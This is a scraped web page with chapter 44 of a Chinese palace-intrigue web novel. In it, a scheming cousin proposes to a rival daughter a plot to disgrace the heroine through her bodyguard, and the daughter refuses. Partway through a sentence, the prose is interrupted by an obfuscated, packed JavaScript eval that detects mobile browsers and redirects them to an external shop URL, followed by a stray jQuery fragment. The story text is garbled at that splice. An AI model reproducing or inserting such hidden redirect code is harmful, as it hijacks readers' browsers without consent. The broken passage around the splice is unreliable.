文趣网 > 都市小说 > 笼中摘星 > 44. 第 44 章
    丁烟与崔程正打得火热。

    丁烟一开始低眉顺眼让弥衣指派丫鬟随着她去崔程书房,几天之后,她就借口不想麻烦其他人,决定自己前去。

    弥衣假意说怕丁烟受欺负,丁烟又对她换了副说辞,说书房内也有奴仆丫鬟,对她很是周到,让弥衣不要担心。

    俩人拉扯几句,弥衣才艰难地点了点头,并告诉她不要忘记时间。她让丫鬟暗中记录丁烟每日去书房的时间,总不能让事情失去控制。

    当然,丁烟一开始还在太阳落山之前回院子里,后来越拖越晚,经常有几次在崔程那用饭。

    丁氏一副主母做派,夸奖了她废寝忘食勤学苦练,有一股世家小姐风范。

    丁贺还添油加醋,说他妹妹天资聪慧,一点即通。

    不过更要感激崔老爷,肯闲下心来教妹妹。

    崔程尴尬的说应该的。

    弥衣暗暗发笑,面上仍默许了他们的行为。

    丁慧盈蒙在鼓里,浑然不觉。

    一个与崔程相差快30岁的小姑娘,长得土里土气,也不是什么世家贵女,她肯定不放在眼里。

    整个崔府就这样各怀鬼胎,精心为崔程设下一个美人计。

    众人默不作声,丁烟在崔府更加放肆,连带着丁贺也越发得意忘形,做事更加放肆。

    已经有很多小丫鬟都来找丁氏告状,说丁贺出言不逊,语气尽显骚扰之意。

    丁氏此时临门一脚也不想因为这事失败,也只是多多给了银钱,让丫鬟的嘴闭紧,尽量远离丁贺的视线范围。

    得到了崔程的垂青,丁烟获得了崔程诸多礼物。不单单有金银首饰文房四宝,就连每月府内小姐的衣服配件,也按照小姐的份例分了丁烟一份。身边也配了个小丫鬟,崔程还推说与弥衣住一个院子有些挤,想单给她一个院子。

    崔府没那么多大院子,唯一一个空着的小院子,距离崔程的书房一墙之隔。

    真是司马昭之心人尽皆知啊。

    不过丁氏没有同意,虽然这计策是她主张的,但她也没有将帽子硬生生戴在自己头上的癖好。

    她也知崔程的德行,能费尽心机得到手的远比那些轻松到手的更加长情。

    崔程只当丁氏吃醋拈酸,自己也太过放肆,反省了自己是不是太过上头,将这事渐渐淡忘了。

    损失了单独的院子,丁烟也不气馁。

    她花了钱托人打听到,弥衣这位大小姐不像外界那般受宠,反而已被崔程遗忘。她空有个名头架子,丁烟渐渐失了依靠弥衣的心思,连带着崔潇月一起被她打入了冷宫。

    不过表面工作还是要做实在的。

    丁烟在弥衣面前,始终保持着恭敬温顺的姿态。

    她唤弥衣表姐,语气温顺,举止规矩亲昵。连带着弥衣给她安排的小丫鬟,她也客客气气地对待。可一转身,丁烟便换了副面孔。

    可一转身,丁烟就换了副面孔。

    在她心中,弥衣才是需要时时讨好她、仰仗她的世家弃女。

    只不过弥衣不自知罢了,她心情好,也陪着一起演。

    这一日,丁烟借着送点心的由头,先送了弥衣一盒,后去了崔昭雪的院子。

    崔昭雪神色恹恹歪在软榻上,琼儿低着头给她捶着腿。

    她近来被丁氏和丁慧盈的争斗牵扯得心烦意乱,丁氏一定要她做表率,不能给丁慧盈好脸色。

    在府中低头不见抬头见,崔昭雪见了面甩手就走,丁慧盈又去找崔程告了状。

    崔程与丁烟的事暂时还不想败露,就做足了表面功夫,假意气愤的让崔昭雪在屋子里罚写一百遍女诫,不写不让出门。

    崔昭雪也没心情出门,正好琼儿自告奋勇替她抄写,她也就省了事,躲在屋子里不出来了。

    殊不知她心中早已憋了一股火。

    她是被逼迫着不能对丁慧盈示好,连带着要对丁烟好一些。

    这计策是她所说,母亲与她一拍即合。

    崔昭雪完全不敢想丁烟成了姨娘,会是什么景象。

    小门小户最容易出岔子,母亲也不怕丁烟反水吗?

    听门口丫鬟传话,说是表小姐过来送点心,崔昭雪扁了扁嘴,说让她进来吧。

    见丁烟进来,崔昭雪连眼皮都没抬一下。

    “三姐姐。”丁烟将食盒放在桌上,声音是一贯的柔和,“我做了些糕点,是特意按照凉州做法做的。不知道姐姐喜不喜欢,送来给姐姐尝尝。”

    崔昭雪瞥了她一眼,淡淡道:“可别叫我姐姐,我们俩同岁。”

    丁烟闻言抿嘴一笑,丝毫不在乎她语气中的嘲讽意味。

    “姨母说我比姐姐小三月,自然礼数要做全。”

    礼数?

    崔昭雪在心中大肆吐槽,在乎礼数还会勾引她的父亲吗?

    琼儿见气氛不对,自作主张将丁烟手中的食盒接下,放置在崔昭雪面前。

    事办完了,崔昭雪也没有与丁烟交谈的意思,转头就往窗外看去。

    在她看来,与这种妄想攀龙附凤的表小姐聊天,还不如看看风景更解压。

    丁烟却没有要走的意思,她坐在崔昭雪身侧的绣墩上。她目光柔柔,语气亲昵,像两人是无话不说的好姐妹般。

    “姐姐,我有一句话,不知当讲不当讲。”

    崔昭雪皱眉,不知她又要说什么令人作呕的话来,转过头仔细端详着丁烟的脸。

    “有什么话,直说便是,琼儿是我院里大丫鬟,不用避开。”

    丁烟声音压得更低:“姐姐有没有想过,将崔弥衣狠狠地踩在脚底,不再让她翻身?”

    崔昭雪的手一顿,目光锐利地看向丁烟,这个表小姐今日来她这里示好,说的竟然是这种话。

    “你说什么?”崔昭雪不敢相信自己的耳朵。

    丁烟自认自己猜中了她的心思,继续道:“我来青州这段时间,也向姨母了解了许多。知道姐姐一向与崔弥衣不对付,我知道姐姐不忍心对崔弥衣下狠手,可是我不一样。”

    “姐姐一直在被她那个嫡女名头压着,早点让崔弥衣消失,姐姐也不用藏着掖着顶着庶女这个身份进京了。”

    崔昭雪的脸色瞬间沉了下来。

    她是和崔弥衣常年不对付,也曾想让她消失。

    若在以前,崔昭雪肯定会兴奋地同意丁烟的说法,与她联手,让崔弥衣彻底消失。

    可是现在,情况不一样了。

    言卿的武功,她是真的亲眼见过。

    言卿对弥衣的忠心,崔昭雪也不敢怀疑。

    崔弥衣不是那么简单了。

    她远比自己想象的城府深,更加聪明,更加狠心。

    丁烟见崔昭雪犹豫不定,决心再加一把火:“我知道崔弥衣身边能人众多,可是为首的不过是个贴身侍卫。崔弥衣应当是用钱财将他拴住,我虽然没那么多银钱收买,但是我也可以用别的方式。”

    崔昭雪打断她:“你以为那侍卫是什么人?”

    崔昭雪眼尾轻轻一挑,眸光漫不经心地斜睨过来:“难不成你要用美人计?不是我说,你模样确实比不上崔弥衣。”

    丁烟没想到崔昭雪对自己的相貌如此羞辱,她忍住心中不快,也不想与崔昭雪互生嫌隙,耐心解释道:“我自知蒲柳之姿,自然比不上崔家大小姐。可是若大小姐传出与贴身侍卫的奸情?亦或者贴身侍卫沾染某个人命官司,那不是简简单单就砍断崔弥衣的臂膀,说不定还能拖下水。一个堂堂嫡女,下嫁侍卫,说起来也是一段佳话呢!”

    崔昭雪冷笑一声:“你疯了?”

    眼瞅着丁烟的话越说越心惊,崔昭雪都觉得她是不是喝多了才来找她的,

    怎么能想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783627|208904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出如此蠢笨的办法?

    言卿身边只有崔弥衣能接近,丁烟怎么能让他们俩有奸情。

    沾染人命官司,说不定言卿已经杀过不知道多少人了。

    真是蠢笨至极!

    崔昭雪极力与他们撇清,就是不想在崔弥衣反应过来之前,让言卿因之前的遭遇秘密解决了她。

    这丁烟倒好,上赶着要送崔弥衣一份大礼。

    这个蠢人!

    别回头当不上姨娘,把自己性命丢了!

    丁烟一愣,没想到崔昭雪会是这个反应。

    崔昭雪似笑非笑,打量着丁烟上下,带着贵女居高临下的鄙夷。

    “你看上她那个侍卫了?只可惜——”崔昭雪哂笑,“你不管现在的身份,还是你以后的身份,都难如登天,我劝你别痴心妄想了。”

    丁烟自然不是真看上了言卿。

    只不过她现在忍着和崔程腻在一起,早就心里反胃,以后真嫁给了崔程,日日对望真的太难受了。

    言卿与她见过的那些男子完全不同,是让她小时候喜欢的那种青年剑客。

    陪伴而已,饱饱眼福,只要不过界,又有何妨。

    等崔程以后死了,她还能与言卿过二人世界,岂不美哉。

    崔昭雪不知道她的想法,只觉得她蠢笨,抬手就让琼儿赶人。

    “姐姐,我只是想为你分忧,没有其他意思。”丁烟还想解释,“不过是个侍卫罢了,姐姐你才是崔府的三小姐,有夫人撑腰,还怕她不成?”

    这个蠢货,崔昭雪心想。

    她现在终于明白和蠢人交谈是什么感觉了。

    她也意识到之前崔弥衣看她的眼神中的怜悯,原来是这种感觉。

    崔昭雪深吸一口气,压下心头的怒火,冷冷道:“你想做什么与我无关,不要攀扯到我。今日就当我没见过你,你走吧,我要休息了。”

    丁烟听了这话,心中却有了另一番解读。

    她心想,崔昭雪大约是怕事,不敢堂而皇之的抢人。

    可自己也没说一定要抢人,设计让大小姐和侍卫有了首尾,也能把崔弥衣拉下马。

    不过第二种方式对府里的姑娘名声不好罢了。

    她早备好了后路,不管是哪种方法,她都能全身而退,这事甚至只是需要崔昭雪点头而已。

    丁烟想到崔昭雪胆小怕事,可能是崔弥衣借言卿的话对她的警告,所以现在才畏首畏尾,失了与崔弥衣斗争的心思。

    如今看来,果然如此。

    可自己却不一样,只要是为了自己的以后,她随时都可以是战斗姿态。

    丁烟面上不显,柔顺地点了点头:“姐姐说的是,是我考虑不周,我以后不提便是了,这件事当我没说过。”

    走出崔昭雪的院子,丁烟脸上的温顺瞬间褪去,取而代之的是一脸冷色。

    崔昭雪怕崔弥衣,她可不怕。

    崔昭雪不敢做的事,那可以由她来做。

    凭什么崔弥衣的贴身侍卫,长相帅气,又对她那么忠心。

    自己只能依附一个年近半百的老头?

    崔弥衣时一定要除掉的。

    不是为了替姨母和崔昭雪分忧,只是她看着崔弥衣的眼睛,就有种自己浑身上下被看穿的恐惧。

    至于言卿——

    他迟早是自己的掌中物。

    她有的是手段。

    丁烟走后,崔昭雪久久没有动弹。

    她胃里一阵翻涌,几乎要呕出来。

    “来人。”她唤道。

    丫鬟应声而入。

    “把这点心扔了。”崔昭雪冷冷道。

    这时,她脑海中突然映出弥衣的脸。

    崔昭雪打了个寒颤。

    她决定了,离丁烟远一点。

    那个蠢货要送死,她可不想陪着一起。